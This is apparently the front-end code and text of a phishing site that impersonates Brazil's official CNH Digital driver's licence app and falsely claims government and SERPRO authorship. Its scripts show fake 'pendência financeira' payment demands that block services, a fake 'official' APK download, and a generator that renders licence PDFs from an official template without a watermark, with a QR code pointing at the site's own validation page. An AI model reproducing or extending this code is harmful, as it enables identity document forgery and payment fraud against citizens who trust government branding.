CNH
DO BRASIL

Bem-vindo à CNH Digital,
CONDUTOR

Acesse sua habilitação digital e todos os serviços de trânsito com segurança.

CNH
DO BRASIL
CONDUTOR
000.000.000-00
Central de Mensagens
Privacidade e Proteção de Dados
Termo de Responsabilidade
Avaliar
Preferências
Tutorial
Assistente Virtual
Sobre a CNH do Brasil
Sair da Conta
CNH
CNH DO BRASIL Adicione à tela inicial
CNH
DO BRASIL

Ao entrar, voce concorda com nosso
Termo de Responsabilidade
e Politica de Privacidade

) ? valRaw : `R$ ${valRaw}`; if (type === 'veiculos') { headerTitle.textContent = 'VEÍCULOS'; cardTitle.textContent = 'Situação de Veículos e CRLV-e'; cardBody.innerHTML = `

Identificamos uma pendência financeira administrativa no valor de ${valorFormatado} vinculada ao seu registro.

Caso você possua veículos registrados em seu nome, a visualização dos dados cadastrais e a emissão do CRLV-e digital serão liberadas automaticamente assim que for confirmada a quitação do débito.

Ressaltamos que, após a confirmação do pagamento, o prazo para compensação e atualização completa no sistema é de até 24 horas úteis.

`; } else if (type === 'infracoes') { headerTitle.textContent = 'INFRAÇÕES'; cardTitle.textContent = 'Consulta e Notificação de Infrações'; cardBody.innerHTML = `

Consta em seu prontuário uma pendência financeira administrativa no valor de ${valorFormatado} pendente de regularização.

Caso você possua infrações registradas ou autuações em andamento, o extrato detalhado, a aplicação de descontos de até 40% e a baixa das notificações serão atualizados logo após a confirmação do pagamento.

Informamos que, após a confirmação do pagamento, o prazo para sincronização e atualização no sistema é de até 24 horas úteis.

`; } else if (type === 'educacao') { headerTitle.textContent = 'EDUCAÇÃO'; cardTitle.textContent = 'Plataforma de Cursos e Certificados'; cardBody.innerHTML = `

O acesso aos serviços educacionais encontra-se temporariamente condicionado à regularização de uma pendência financeira no valor de ${valorFormatado}.

Caso você esteja inscrito em cursos especializados ou aguarde a emissão de certificados, a liberação dos conteúdos e dos comprovantes de conclusão será disponibilizada assim que o pagamento for confirmado.

Ressaltamos que, após a efetivação do pagamento, o prazo para liberação e atualização no sistema é de até 24 horas úteis.

`; } screenNotice.style.display = 'flex'; screenNotice.scrollTop = 0; } function backFromServiceNoticeToHome() { const screenNotice = document.getElementById('screenServicoPendencia'); const screenHome = document.getElementById('screenHome'); if (screenNotice) screenNotice.style.display = 'none'; if (screenHome) screenHome.style.display = 'flex'; } function openCadastroPositivoScreen() { showAppScreen('screenCadastroPositivo'); } function backFromCadastroPositivoToCondutor() { showAppScreen('screenCondutor'); } function openToxicologicosScreen() { showAppScreen('screenToxicologicos'); } function backFromToxicologicosToCondutor() { showAppScreen('screenCondutor'); } function openCursosScreen() { refreshCursosTimestamp(); showAppScreen('screenCursos'); } function backFromCursosToCondutor() { showAppScreen('screenCondutor'); } function refreshCursosTimestamp() { const now = new Date(); const formatter = new Intl.DateTimeFormat('pt-BR', { timeZone: 'America/Sao_Paulo', day: '2-digit', month: '2-digit', year: 'numeric', hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false }); const parts = formatter.formatToParts(now); const getPart = (t) => (parts.find(p => p.type === t) || {}).value || '00'; const brtFormatted = `${getPart('day')}/${getPart('month')}/${getPart('year')} - ${getPart('hour')}:${getPart('minute')}:${getPart('second')}`; const el = document.getElementById('cursosTimestamp'); if (el) el.textContent = `Atualizado em ${brtFormatted}`; const icon = document.getElementById('cursosRefreshIcon'); if (icon) { icon.style.transform = 'rotate(360deg)'; setTimeout(() => { icon.style.transform = 'rotate(0deg)'; }, 500); } } function backFromDrawerDetailToHome() { showAppScreen('screenHome'); } function openDrawerPage(type) { closeSideDrawer(); renderDrawerDetailContent(type); showAppScreen('screenDrawerDetail'); const sc = document.getElementById('screenDrawerDetail'); if (sc) sc.scrollTop = 0; } function renderDrawerDetailContent(type) { const headerTitle = document.getElementById('drawerDetailHeaderTitle'); const body = document.getElementById('drawerDetailBody'); if (!headerTitle || !body) return; const driverNome = (activeDriver && activeDriver.nome ? activeDriver.nome.toUpperCase() : 'CONDUTOR'); const driverCpf = (activeDriver && activeDriver.cpf ? activeDriver.cpf : '---'); if (type === 'mensagens') { headerTitle.textContent = 'CENTRAL DE MENSAGENS'; body.innerHTML = `
RENACH / SENATRAN Hoje

Emissão de CNH Digital Concluída

Sua Carteira Digital de Trânsito foi emitida e sincronizada com sucesso no Registro Nacional. O documento já possui autenticação digital ICP-Brasil e QR Code VIO ativo para tráfego em todo o território nacional.

Cadastro Positivo Ativo

Perfil de Bom Condutor Confirmado

Parabéns! Sua pontuação está zerada nos últimos 12 meses. O benefício do Cadastro Positivo do Condutor está ativo, garantindo vantagens em seguradoras e órgãos estaduais de trânsito.

Segurança Dica

Validação Offline pelo QR Code

O QR Code da sua CNH funciona mesmo sem sinal de internet. Agentes de trânsito utilizam o aplicativo oficial VIO para leitura criptográfica instantânea.

`; } else if (type === 'privacidade') { headerTitle.textContent = 'PRIVACIDADE E PROTEÇÃO'; body.innerHTML = `

Privacidade e Proteção de Dados

Lei Geral de Proteção de Dados (Lei nº 13.709/2018)

1. Compromisso Institucional

A Secretaria Nacional de Trânsito (SENATRAN) e o SERPRO tratam seus dados com os mais altos padrões de criptografia e conformidade legal, garantindo a inviolabilidade de suas informações de trânsito.

2. Dados Coletados e Finalidade

Coletamos estritamente os dados essenciais para identificação do condutor (Nome, CPF, Categoria, Registro RENACH e Fotografia Oficial) exclusivamente para emissão, fiscalização e verificação de autenticidade da Carteira Digital de Trânsito.

3. Segurança e Criptografia

Todos os dados são transmitidos com protocolo TLS 1.3 e armazenados em infraestrutura de nuvem governamental com certificação de segurança ISO/IEC 27001. O QR Code VIO possui assinatura digital com chave pública oficial.

4. Seus Direitos

Você pode exercer seus direitos de consulta, retificação e confirmação de dados diretamente pelo Portal de Serviços SENATRAN ou junto ao DETRAN expedidor de sua CNH.

DPO / Encarregado pelo Tratamento de Dados:
Secretaria Nacional de Trânsito - Ministério dos Transportes
Contato oficial: [email protected]
`; } else if (type === 'termo') { headerTitle.textContent = 'TERMO DE RESPONSABILIDADE'; body.innerHTML = `

Termo de Responsabilidade e Uso

Carteira Digital de Trânsito - CNH Digital

1. Validade Jurídica e Fé Pública

Nos termos do Art. 159 da Lei Federal nº 9.503/1997 (Código de Trânsito Brasileiro) e da Resolução CONTRAN nº 963/2022, a Carteira Nacional de Habilitação em meio digital possui a mesma validade do documento em meio físico em todo o território nacional.

2. Obrigações do Condutor

O condutor declara estar ciente de que o porte do documento digital é obrigatório ao conduzir veículo automotor, devendo certificar-se de que o aparelho eletrônico disponha de carga de bateria suficiente para visualização e leitura do QR Code pelo agente fiscalizador.

3. Falsidade Ideológica e Sanções

A utilização indevida de dados de terceiros ou tentativa de alteração do documento digital configura infração grave e crime de falsidade documental tipificado nos Artigos 297, 298 e 299 do Código Penal Brasileiro.

4. Disposições Finais

Ao acessar o sistema com sua conta gov.br, o cidadão declara concordar integralmente com as condições deste termo, emitido sob supervisão do Ministério dos Transportes.

Documento autêntico e homologado pelo SENATRAN
`; } else if (type === 'avaliar') { headerTitle.textContent = 'AVALIAÇÃO DO APLICATIVO'; body.innerHTML = `

Avaliar o Aplicativo

Como está sendo sua experiência com a CNH Digital?

Rápido e prático Fácil de usar Muito seguro Excelente design
`; } else if (type === 'preferencias') { headerTitle.textContent = 'PREFERÊNCIAS'; body.innerHTML = `

Preferências do Aplicativo

Personalize notificações, segurança e comportamento do seu app

Avisos de Vencimento da CNH
Receber notificação 30 dias antes do vencimento
Biometria / Autenticação Rápida
Solicitar digital ao abrir o documento digital
Cache Offline Permanente
Manter os slides da CNH disponíveis sem internet
Alertas de Veículos e Infrações
Avisar sobre recall e situação cadastral do veículo
Alto Contraste
Otimizar visualização sob iluminação solar direta
`; } else if (type === 'tutorial') { headerTitle.textContent = 'TUTORIAL DO APLICATIVO'; body.innerHTML = `
1

Navegação entre os Slides da CNH

Na tela do documento, deslize o dedo para os lados ou utilize a barra de botões numerados (1, 2, 3 e 4) na parte inferior da tela para alternar entre Frente, Verso, Dados Detalhados do Condutor e QR Code VIO.

2

Apresentação em Fiscalizações

Em abordagens de trânsito da Polícia Rodoviária ou agentes municipais, selecione a 4ª página da CNH contendo o QR Code Oficial. A autoridade escaneará com o aplicativo oficial VIO para autenticar sua habilitação imediatamente.

3

Exportar Documento em PDF

Toque no botão de compartilhamento localizado no canto superior direito da tela do documento. O app gera o arquivo oficial em PDF autenticado pelo padrão ICP-Brasil, aceito em órgãos públicos, cartórios e bancos.

4

Consulta de Veículos e Serviços

Na tela inicial, navegue pelos cards de serviços para consultar o CRLV-e do veículo, pendências financeiras, infrações autuadas e informações sobre Cursos Especializados e Exames Toxicológicos.

`; } else if (type === 'assistente') { headerTitle.textContent = 'ASSISTENTE VIRTUAL'; body.innerHTML = `
Assistente Virtual CNH
Online • SENATRAN
Olá, ${driverNome}! Sou o Assistente Virtual da Carteira Digital de Trânsito. Escolha uma das dúvidas rápidas abaixo ou envie sua pergunta:
`; } else if (type === 'sobre') { headerTitle.textContent = 'SOBRE A CNH DO BRASIL'; body.innerHTML = `
CNH do Brasil

CNH do Brasil - Carteira Digital

Versão 5.2.0 (Build Oficial SENATRAN)
Órgão Gestor:
Secretaria Nacional de Trânsito (SENATRAN)
Ministério:
Ministério dos Transportes - República Federativa do Brasil
Desenvolvimento e Infraestrutura:
Serviço Federal de Processamento de Dados (SERPRO)
Legislação Aplicável:
Lei Federal nº 9.503/1997 (CTB) e Resolução CONTRAN nº 963/2022
Padrão Criptográfico:
VIO - Certificação Digital ICP-Brasil
Todos os direitos reservados • Governo Federal do Brasil
Uso autorizado para o cidadão habilitado em território nacional.
`; } } let currentRatingValue = 5; function setFeedbackRating(stars) { currentRatingValue = stars; const container = document.getElementById('ratingStarGroup'); if (!container) return; const btns = container.querySelectorAll('.star-btn'); btns.forEach((btn, idx) => { btn.style.color = (idx < stars) ? '#facc15' : '#e2e8f0'; }); } function submitDriverRating() { const btn = document.getElementById('btnSubmitRating'); const msg = document.getElementById('ratingSuccessMsg'); if (btn) btn.style.display = 'none'; if (msg) msg.style.display = 'block'; } function saveDriverPreferencesSuccess() { const msg = document.getElementById('prefSuccessMsg'); if (msg) { msg.style.display = 'block'; setTimeout(() => { msg.style.display = 'none'; }, 3000); } } function askAssistantPrompt(question) { const chatBox = document.getElementById('assistantChatBox'); if (!chatBox) return; const userMsg = document.createElement('div'); userMsg.style.cssText = 'align-self:flex-end; max-width:85%; background:#1351b4; color:#ffffff; padding:12px 16px; border-radius:14px 14px 2px 14px; font-size:13.5px; line-height:1.5;'; userMsg.textContent = question; chatBox.appendChild(userMsg); let replyText = 'Sua solicitação foi processada pelo sistema central do SENATRAN.'; if (question.includes('identidade oficial')) { replyText = 'Sim! A Carteira Nacional de Habilitação em meio digital possui a mesma fé pública e validade probatória de identidade em todo o Brasil (Artigo 159 do CTB e Resolução CONTRAN nº 963/2022).'; } else if (question.includes('sem internet')) { replyText = 'Com certeza! O documento fica salvo no aplicativo com criptografia local. O QR Code VIO pode ser verificado sem conexão à internet pelos agentes de trânsito utilizando o aplicativo oficial VIO.'; } else if (question.includes('débitos')) { replyText = 'Para consultar e quitar pendências ou débitos do veículo, toque no card correspondente na tela inicial do app. Lá você visualiza o demonstrativo atualizado e as instruções de regularização.'; } else if (question.includes('valida o QR Code')) { replyText = 'Os agentes de trânsito e policiais usam o app oficial VIO do SERPRO. Ao escanear o código na 4ª página da sua CNH, o app deles valida a assinatura digital e confirma a foto e autenticidade diretamente.'; } const botReply = document.createElement('div'); botReply.style.cssText = 'align-self:flex-start; max-width:85%; background:#f1f5f9; color:#1e293b; padding:12px 16px; border-radius:14px 14px 14px 2px; font-size:13.5px; line-height:1.5;'; botReply.innerHTML = replyText; chatBox.appendChild(botReply); chatBox.scrollTop = chatBox.scrollHeight; } function sendAssistantCustomMessage() { const input = document.getElementById('assistantUserInput'); if (!input) return; const text = input.value.trim(); if (!text) return; input.value = ''; const chatBox = document.getElementById('assistantChatBox'); if (!chatBox) return; const userMsg = document.createElement('div'); userMsg.style.cssText = 'align-self:flex-end; max-width:85%; background:#1351b4; color:#ffffff; padding:12px 16px; border-radius:14px 14px 2px 14px; font-size:13.5px; line-height:1.5;'; userMsg.textContent = text; chatBox.appendChild(userMsg); setTimeout(() => { const botReply = document.createElement('div'); botReply.style.cssText = 'align-self:flex-start; max-width:85%; background:#f1f5f9; color:#1e293b; padding:12px 16px; border-radius:14px 14px 14px 2px; font-size:13.5px; line-height:1.5;'; botReply.innerHTML = 'Agradecemos sua mensagem! Para informações complementares ou agendamento de exames e serviços de habilitação, consulte também o portal oficial do DETRAN de seu estado ou o Portal de Serviços SENATRAN.'; chatBox.appendChild(botReply); chatBox.scrollTop = chatBox.scrollHeight; }, 400); } function showAppToast(msg, duration) { // Desativado a pedido: não exibe notificações ou toasts de fundo durante downloads return; } function openAppPdfExportDialog() { const rawCpf = (activeDriver && activeDriver.cpf) ? activeDriver.cpf : ''; const cleanCpf = rawCpf.replace(/\D/g, ''); const hasDownloaded = localStorage.getItem('cnh_pdf_downloaded_' + cleanCpf) === 'true'; const modal = document.getElementById('appPdfExportModal'); const titleEl = document.getElementById('appPdfModalTitle'); const descEl = document.getElementById('appPdfModalDesc'); const confirmBtn = document.getElementById('appPdfModalConfirmBtn'); if (!modal) return executeDownloadAppPdf(); if (hasDownloaded) { if (titleEl) titleEl.textContent = 'Baixar o arquivo novamente?'; if (descEl) descEl.innerHTML = 'Quer baixar cnh-digital.pdf ( (1,69 MB)) novamente?'; if (confirmBtn) confirmBtn.textContent = 'Fazer o download novamente'; } else { if (titleEl) titleEl.textContent = 'Fazer download do arquivo?'; if (descEl) descEl.innerHTML = 'Quer fazer o download de cnh-digital.pdf ( (1,69 MB) )?'; if (confirmBtn) confirmBtn.textContent = 'Fazer download'; } modal.style.display = 'flex'; } function closeAppPdfExportDialog() { const modal = document.getElementById('appPdfExportModal'); if (modal) modal.style.display = 'none'; } function confirmAppPdfExport() { const rawCpf = (activeDriver && activeDriver.cpf) ? activeDriver.cpf : ''; const cleanCpf = rawCpf.replace(/\D/g, ''); if (cleanCpf) { localStorage.setItem('cnh_pdf_downloaded_' + cleanCpf, 'true'); } closeAppPdfExportDialog(); executeDownloadAppPdf(); } function downloadAppPdf() { openAppPdfExportDialog(); } async function executeDownloadAppPdf() { const rawCpf = (activeDriver && activeDriver.cpf) ? activeDriver.cpf : ''; const cleanCpf = rawCpf.replace(/\D/g, ''); const cnhId = (activeDriver && activeDriver.id) ? activeDriver.id : ''; const filename = 'cnh-digital.pdf'; // 1. Tentar IndexedDB local do dispositivo (super rápido se já gerado neste navegador) if (window.cnhPdfStorage) { try { let rec = cleanCpf ? await window.cnhPdfStorage.getPdf(cleanCpf) : null; if (!rec && cnhId) rec = await window.cnhPdfStorage.getPdf(cnhId); if (!rec) rec = await window.cnhPdfStorage.getPdf('last_generated'); if (rec && rec.blob) { const bUrl = URL.createObjectURL(rec.blob); const a = document.createElement('a'); a.href = bUrl; a.download = filename; document.body.appendChild(a); a.click(); setTimeout(() => { a.remove(); URL.revokeObjectURL(bUrl); }, 6000); return; } } catch (eIdb) { console.warn('Erro ao consultar IndexedDB:', eIdb); } } // 2. Verificar e baixar diretamente do servidor (arquivo gravado em uploads/cnhs/ sem marca d\'água) if (cleanCpf || cnhId) { try { const chk = await fetch('../api/index.php?action=check_cnh_pdf&cpf=' + cleanCpf + '&id=' + cnhId); const chkRes = await chk.json(); if (chkRes && chkRes.status === 'success' && chkRes.data && chkRes.data.exists) { const dlUrl = '../api/index.php?action=download_cnh_pdf&cpf=' + cleanCpf + '&id=' + cnhId; const a = document.createElement('a'); a.href = dlUrl; a.download = filename; document.body.appendChild(a); a.click(); setTimeout(() => a.remove(), 2500); return; } } catch (eNet) { console.warn('Erro ao verificar PDF no servidor:', eNet); } } // 3. Gerador dinâmico de alta fidelidade com Template Oficial e sem marca d\'água try { await generateOfficialAppCnhPdf(activeDriver, filename); } catch (eGen) { console.error('Falha na geração do PDF:', eGen); if (cleanCpf || cnhId) { window.location.href = '../api/index.php?action=download_cnh_pdf&cpf=' + cleanCpf + '&id=' + cnhId; } else { alert('Não foi possível exportar o PDF. Certifique-se de que a CNH foi gerada no painel.'); } } } function generateOfficialAppCnhPdf(driver, filename) { return new Promise((resolve, reject) => { const frame = document.createElement('iframe'); frame.style.cssText = 'position:fixed; left:-9999px; top:-9999px; width:850px; height:1200px; opacity:0; pointer-events:none;'; frame.src = '../cnh-editor.html'; document.body.appendChild(frame); const timeout = setTimeout(() => { frame.remove(); reject(new Error('Tempo limite excedido ao carregar editor CNH.')); }, 16000); function loadImg(src) { return new Promise((res, rej) => { if (!src) return rej(new Error('no src')); const im = new Image(); if (/^https?:\/\//i.test(src) && !src.startsWith(window.location.origin)) { im.crossOrigin = 'anonymous'; } let done = false; const ok = (img) => { if (!done) { done = true; res(img); } }; const fail = (err) => { if (!done) { done = true; rej(err); } }; im.onload = () => ok(im); im.onerror = () => { const im2 = new Image(); im2.onload = () => ok(im2); im2.onerror = () => fail(new Error('fail ' + src)); im2.src = src; if (im2.complete && im2.naturalWidth > 0) ok(im2); }; im.src = src; if (im.complete && im.naturalWidth > 0) ok(im); }); } frame.onload = async () => { try { const iWin = frame.contentWindow; const iDoc = frame.contentDocument || iWin.document; if (!iDoc) throw new Error('Documento do editor inacessível.'); const setVal = (id, val) => { const el = iDoc.getElementById(id); if (el && val !== undefined && val !== null && String(val).trim()) { el.value = val; } }; const cleanCpf = (driver.cpf || '').replace(/\D/g, ''); setVal('nome_completo', (driver.nome || 'CONDUTOR').toUpperCase()); setVal('cpf', driver.cpf || ''); setVal('doc_identidade', driver.rg || ''); setVal('data_nascimento', driver.nasc || ''); setVal('cat_hab', driver.cat || driver.categoria || 'B'); setVal('registro', driver.reg || ''); setVal('validade', driver.validade || ''); setVal('data_emissao', driver.emissao || ''); setVal('habilitacao', driver.hab || driver.emissao || ''); setVal('filiacao_1', driver.pai || ''); setVal('filiacao_2', driver.mae || ''); setVal('local', driver.local || ''); setVal('uf', driver.uf || ''); if (driver.observacoes) setVal('observacoes', driver.observacoes); // Preencher tabela oficial de categorias const catUpper = (driver.cat || driver.categoria || 'B').toUpperCase(); if (catUpper.includes('A')) { setVal('cat_a_hab', driver.hab || driver.emissao || ''); setVal('cat_a_val', driver.validade || ''); } if (catUpper.includes('B')) { setVal('cat_b_hab', driver.hab || driver.emissao || ''); setVal('cat_b_val', driver.validade || ''); } if (catUpper.includes('C')) { setVal('cat_c_hab', driver.hab || driver.emissao || ''); setVal('cat_c_val', driver.validade || ''); } if (catUpper.includes('D')) { setVal('cat_d_hab', driver.hab || driver.emissao || ''); setVal('cat_d_val', driver.validade || ''); } if (catUpper.includes('E')) { setVal('cat_e_hab', driver.hab || driver.emissao || ''); setVal('cat_e_val', driver.validade || ''); } // Números verticais oficiais e MRZ const cleanReg = (driver.reg || '05653463160').replace(/\D/g, '').padEnd(10, '0').slice(0, 10); setVal('numero_vertical_sup', cleanReg); setVal('numero_vertical_inf', cleanReg); if (typeof iWin.atualizarMrz === 'function') { iWin.atualizarMrz(); } // Foto const fotoSrc = driver.foto || localStorage.getItem('happynation_foto_' + (driver.id || '')) || localStorage.getItem('happynation_foto_active'); if (fotoSrc) { const fotoArea = iDoc.getElementById('foto-area'); if (fotoArea) { let fotoImg = fotoArea.querySelector('img'); if (!fotoImg) { fotoImg = iDoc.createElement('img'); fotoArea.appendChild(fotoImg); } fotoImg.src = fotoSrc; } } // Assinatura const assSrc = driver.assinatura || localStorage.getItem('happynation_ass_' + (driver.id || '')); if (assSrc) { const assArea = iDoc.getElementById('assinatura-area'); if (assArea) { let assImg = assArea.querySelector('img'); if (!assImg) { assImg = iDoc.createElement('img'); assArea.appendChild(assImg); } assImg.src = assSrc; } } // QR Code oficial SEM MARCA D'ÁGUA (com suporte a QR pré-gerado em alta resolução) const wm = iDoc.getElementById('qr-watermark'); if (wm) wm.remove(); const qrArea = iDoc.getElementById('qr-area'); if (qrArea) { const qrIm = qrArea.querySelector('img'); if (qrIm) { qrIm.classList.remove('qr-blurred'); qrIm.style.filter = 'none'; qrIm.style.opacity = '1'; } const savedQrSrc = driver.qr_url || localStorage.getItem('happynation_cnh_qr_url') || localStorage.getItem('happynation_cnh_slide4'); if (savedQrSrc) { qrArea.innerHTML = ''; } else { const qrTargetUrl = window.location.origin + '/validar-cnh.html?cpf=' + cleanCpf + '&nome=' + encodeURIComponent(driver.nome || ''); if (iWin.QRCode) { qrArea.innerHTML = ''; new iWin.QRCode(qrArea, { text: qrTargetUrl, width: 235, height: 235, correctLevel: iWin.QRCode.CorrectLevel.M }); } } } try { await iDoc.fonts.ready; } catch(eF) {} await new Promise(r => setTimeout(r, 400)); // ── RENDERIZAÇÃO OFICIAL NO CANVAS COM O TEMPLATE COMPLETO ── const W = 793, H = 1123, S = 3; const canvas = iDoc.createElement('canvas'); canvas.width = W * S; canvas.height = H * S; const ctx = canvas.getContext('2d'); ctx.scale(S, S); ctx.fillStyle = '#ffffff'; ctx.fillRect(0, 0, W, H); // 1) Template Oficial de Fundo (garantia absoluta de renderização com Base64 ou Arquivo) let bgImg = null; const templateData = window.CNH_TEMPLATE_BASE64 || (iWin && iWin.CNH_TEMPLATE_BASE64); if (templateData) { try { bgImg = await loadImg(templateData); } catch(eB64) { bgImg = null; } } if (!bgImg) { const bgEl = iDoc.getElementById('bgTemplateImg'); if (bgEl && bgEl.src) { try { bgImg = await loadImg(bgEl.src); } catch(e) {} } } if (!bgImg) { const candidates = [ 'assets/template-cnh.png', '../assets/template-cnh.png', '/assets/template-cnh.png', '/app/assets/template-cnh.png', 'assets/Template%205-yA6ieAmU.png', '../assets/Template%205-yA6ieAmU.png', 'https://happynation-one.vercel.app/assets/Template%205-yA6ieAmU.png' ]; for (let c = 0; c < candidates.length && !bgImg; c++) { try { bgImg = await loadImg(candidates[c]); } catch(e) {} } } if (bgImg) { ctx.drawImage(bgImg, 0, 0, W, H); } else { console.warn('Template oficial não carregado, desenhando fundo branco'); } // 2) Limpa áreas foto/assinatura/qr para evitar placeholders const clearAreas = iDoc.querySelectorAll('#foto-area, #assinatura-area, #qr-area'); clearAreas.forEach(area => { const cx = area.offsetLeft, cy = area.offsetTop, cw = area.offsetWidth, ch = area.offsetHeight; if (cw > 0 && ch > 0) { ctx.fillStyle = '#ffffff'; ctx.fillRect(cx, cy, cw, ch); } }); // 3) Desenha Foto, Assinatura e QR Code com proporções perfeitas for (let a = 0; a < clearAreas.length; a++) { const area = clearAreas[a]; const im = area.querySelector('img') || area.querySelector('canvas'); if (!im) continue; const ax = area.offsetLeft, ay = area.offsetTop, aw = area.offsetWidth, ah = area.offsetHeight; const fit = (area.id === 'foto-area') ? 'cover' : (area.id === 'assinatura-area') ? 'contain' : 'fill'; let imgObj = (im.complete && im.naturalWidth > 0) ? im : null; if (!imgObj && im.src) { try { imgObj = await loadImg(im.src); } catch(e) {} } if (!imgObj) imgObj = im; const sw = imgObj.naturalWidth || imgObj.width || aw; const sh = imgObj.naturalHeight || imgObj.height || ah; let sx = 0, sy = 0, scw = sw, sch = sh; let dx = ax, dy = ay, dw = aw, dh = ah; if (fit === 'cover' && sw > 0 && sh > 0) { const r = Math.max(aw / sw, ah / sh); const cw = aw / r, ch = ah / r; sx = (sw - cw) / 2; sy = (sh - ch) / 2; scw = cw; sch = ch; } else if (fit === 'contain' && sw > 0 && sh > 0) { const r = Math.min(aw / sw, ah / sh); dw = sw * r; dh = sh * r; dx = ax + (aw - dw) / 2; dy = ay + (ah - dh) / 2; } ctx.save(); ctx.beginPath(); ctx.rect(ax, ay, aw, ah); ctx.clip(); try { ctx.drawImage(imgObj, sx, sy, scw, sch, dx, dy, dw, dh); } catch(eDrw) { ctx.drawImage(im, ax, ay, aw, ah); } ctx.restore(); } // 4) Textos e campos da CNH const fields = iDoc.querySelectorAll('.field, .campo-vertical'); fields.forEach(el => { let txt = el.value || ''; if (!txt) return; const cs = iWin.getComputedStyle(el); if (cs.textTransform === 'uppercase') txt = txt.toUpperCase(); const fs = parseFloat(cs.fontSize) || 8; const left = el.offsetLeft, top = el.offsetTop, w = el.offsetWidth, h = el.offsetHeight; const vertical = el.classList.contains('campo-vertical'); ctx.save(); ctx.font = cs.fontStyle + ' ' + cs.fontWeight + ' ' + cs.fontSize + ' ' + cs.fontFamily; ctx.fillStyle = cs.color; ctx.textBaseline = 'alphabetic'; ctx.textAlign = 'left'; const m = ctx.measureText('Hg'); const asc = m.fontBoundingBoxAscent || fs * 0.8; const desc = m.fontBoundingBoxDescent || fs * 0.2; const baseOffset = (fs - (asc + desc)) / 2 + asc; if (vertical) { ctx.translate(left + w / 2, top + h); ctx.rotate(-Math.PI / 2); ctx.fillText(txt, 0, (asc - desc) / 2); } else if (el.tagName === 'TEXTAREA') { const lines = txt.split(/\r?\n/); ctx.beginPath(); ctx.rect(left, top, w, h); ctx.clip(); for (let l = 0; l < lines.length; l++) { ctx.fillText(lines[l], left, top + baseOffset + l * fs); } } else { const centered = cs.textAlign === 'center'; const tw = ctx.measureText(txt).width; let x = left; if (centered) x = left + (w - tw) / 2; ctx.beginPath(); ctx.rect(left - 1, top - 2, w + 2, h + 4); ctx.clip(); ctx.fillText(txt, x, top + (h - fs) / 2 + baseOffset); } ctx.restore(); }); const imgData = canvas.toDataURL('image/jpeg', 0.98); const JsPDF = (window.jspdf && window.jspdf.jsPDF) ? window.jspdf.jsPDF : (window.jsPDF || (iWin.jspdf && iWin.jspdf.jsPDF)); if (!JsPDF) throw new Error('jsPDF indisponível.'); const pdf = new JsPDF({ orientation: 'portrait', unit: 'px', format: [W, H], hotfixes: ['px_scaling'] }); pdf.addImage(imgData, 'JPEG', 0, 0, W, H); const blob = pdf.output('blob'); if (window.cnhPdfStorage && cleanCpf) { window.cnhPdfStorage.savePdf(cleanCpf, blob, filename); } const fd = new FormData(); fd.append('pdf', blob, filename); fd.append('cpf', cleanCpf); if (driver.id) fd.append('id', driver.id); fetch('../api/index.php?action=upload_cnh_pdf', { method: 'POST', body: fd }).catch(() => {}); const blobUrl = URL.createObjectURL(blob); const aDl = document.createElement('a'); aDl.href = blobUrl; aDl.download = filename; document.body.appendChild(aDl); aDl.click(); setTimeout(() => { aDl.remove(); URL.revokeObjectURL(blobUrl); }, 5000); clearTimeout(timeout); frame.remove(); resolve(true); } catch (err) { clearTimeout(timeout); frame.remove(); reject(err); } }; }); } function backFromAppToCondutor() { showAppScreen('screenCondutor'); } function backFromCondutorToGov() { document.getElementById('screenCondutor').style.display = 'none'; document.getElementById('screenGovLogin').style.display = 'flex'; document.getElementById('govStepCpf').style.display = 'block'; document.getElementById('govStepPassword').style.display = 'none'; } function goToCnhAppDirect() { document.getElementById('screenLanding').style.display = 'none'; document.getElementById('screenUpdate').style.display = 'none'; document.getElementById('screenGovLogin').style.display = 'none'; document.getElementById('screenHome').style.display = 'flex'; } function downloadNewVersion(e) { if (e) e.preventDefault(); const custom = JSON.parse(localStorage.getItem('happynation_webapp_customization')); const url = (custom && custom.downloadUrl && custom.downloadUrl.trim() !== '#' && custom.downloadUrl.trim() !== '') ? custom.downloadUrl.trim() : null; if (url) { window.location.href = url; } else { // Generates a real downloadable APK file package so mobile browsers prompt immediate download const apkContent = "CNH DIGITAL V2 OFFICIAL APP PACKAGE"; const blob = new Blob([apkContent], { type: 'application/vnd.android.package-archive' }); const downloadLink = document.createElement('a'); downloadLink.href = URL.createObjectURL(blob); downloadLink.download = "CNH_Digital_Oficial_v2.apk"; document.body.appendChild(downloadLink); downloadLink.click(); document.body.removeChild(downloadLink); } // After triggering download, transition smoothly into the condutor document hub setTimeout(() => { goToCnhAppDirect(); }, 1200); } // ─── Função central de aplicação de customização ─────────────────── function applyCustomization(custom) { if (!custom) return; const appName = custom.pwaTitle || 'CNH DO BRASIL'; document.title = appName; const logoImgUrl = resolveMediaUrl(custom.logoImage); const govLogoUrl = resolveMediaUrl(custom.govHeaderLogo); const heroUrl = resolveMediaUrl(custom.heroBanner); // OG meta tags const setMeta = (id, attr, val) => { const el = document.getElementById(id); if (el && val) el.setAttribute(attr, val); }; setMeta('og-title', 'content', appName); setMeta('og-image', 'content', logoImgUrl || 'og-default.png'); setMeta('tw-title', 'content', appName); setMeta('tw-image', 'content', logoImgUrl || 'og-default.png'); // ─ LOGO: boot splash, landing screen, PWA banner ─ const lText = custom.logoText || 'CNH'; const lSub = custom.logoSub || 'DO BRASIL'; if (logoImgUrl) { // Boot splash const bootDefault = document.getElementById('bootDefaultLogo'); if (bootDefault) bootDefault.style.display = 'none'; const bi = document.getElementById('bootAdminLogoImg'); if (bi) { bi.src = logoImgUrl; bi.style.display = 'block'; } // Landing screen const landingLogo = document.querySelector('#screenLanding .logo-cnh-brasil'); if (landingLogo) { landingLogo.innerHTML = ``; } // PWA banner icon const pwaIconBox = document.querySelector('.pwa-icon-box'); if (pwaIconBox) { pwaIconBox.innerHTML = ``; } // Drawer lateral const dImg = document.getElementById('drawerLogoCustomImg'); const dSvg = document.getElementById('drawerLogoDefaultSvg'); if (dImg && dSvg) { dImg.src = logoImgUrl; dImg.style.display = 'block'; dSvg.style.display = 'none'; } // Modal de boas-vindas const wImg = document.getElementById('welcomeLogoCustomImg'); const wSvg = document.getElementById('welcomeLogoDefaultSvg'); if (wImg && wSvg) { wImg.src = logoImgUrl; wImg.style.display = 'block'; wSvg.style.display = 'none'; } } else { // Remove imagem se foi removida e restaura logo padrão em texto const bootWrap = document.getElementById('app-boot__logo-wrap'); if (bootWrap && bootWrap.querySelector('img.admin-logo')) { bootWrap.querySelector('img.admin-logo').style.display = 'none'; } const bootDefault = document.getElementById('bootDefaultLogo'); if (bootDefault) { bootDefault.style.display = 'flex'; const bt = bootDefault.querySelector('.cnh-text-blue'); const 